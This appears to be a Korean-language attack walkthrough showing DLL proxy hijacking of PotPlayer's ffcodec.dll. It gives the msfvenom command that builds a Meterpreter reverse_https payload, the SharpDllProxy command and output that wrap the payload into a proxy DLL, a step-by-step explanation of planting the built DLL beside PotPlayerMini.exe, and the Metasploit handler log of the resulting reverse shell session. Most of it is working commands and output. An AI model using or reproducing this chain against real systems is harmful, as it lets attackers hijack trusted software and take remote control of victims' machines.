# msfconsole로 쉘 연결을 하는 리버스 쉘 바이너리 코드
msfvenom -p windows/meterpreter/reverse_https -f raw lhost=192.168.200.132 lport=443 -o meter-x86.bin
# 바이너리 파일과 정상 DLL 파일의 결합
.\SharpDllProxy.exe -dll "C:\Program Files (x86)\DAUM\PotPlayer\ffcodec.dll" --payload "C:\Program Files (x86)\DAUM\PotPlayer\test\meter-x86.bin"
[+] Reading exports from C:\Program Files (x86)\DAUM\PotPlayer\ffcodec.dll...
[+] Redirected 200 function calls from ffcodec.dll to tmp7DF7.dll
[+] Exporting DLL C source to C:\windows\temp\test\win-x64\output_ffcodec\ffcodec_pragma.c
SharpDLLProxy 사용 후엔 <DLL>_pragma.c 파일과 tmp7DF7.dll 파일이 생성됩니다.
tmp 파일은 기존의 정상 DLL과 동일한 역할을 하는 파일이고
C 확장 파일은 빌드 후 DLL로 만들어야 하는 악성 파일입니다.
C 파일을 Visual Studio를 통해 DLL로 빌딩 한 후에 PotPlayerMini.exe 파일과 동일한 위치로 이동합니다.
PotPlayerMini.exe가 실행될 때, 원래 다른 경로에서 참조하던 ffcodec.dll 파일은
DLL 참조 규칙에 의해서 실행 파일과 동일 디렉토리에 있는 ffcodec.dll 파일을 참조하게 되고
이 파일은 실행 과정에서 meter-x86.bin 파일을 호출합니다.
meter-x86.bin 파일은 미터프리터 쉘을 연결하는 악성코드이기 때문에
최종적으로 PotPlayerMini.exe를 실행했을 때 리버스 쉘이 연결됩니다.
msf6 exploit(multi/handler) > set LHOST 192.168.200.132
LHOST => 192.168.200.132
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://192.168.200.132:443
[!] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Staging x86 payload (177244 bytes) ...
[!] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 8 opened (192.168.200.132:443 -> 192.168.200.1:26637) at 2024-11-30 15:19:33 +0000
meterpreter >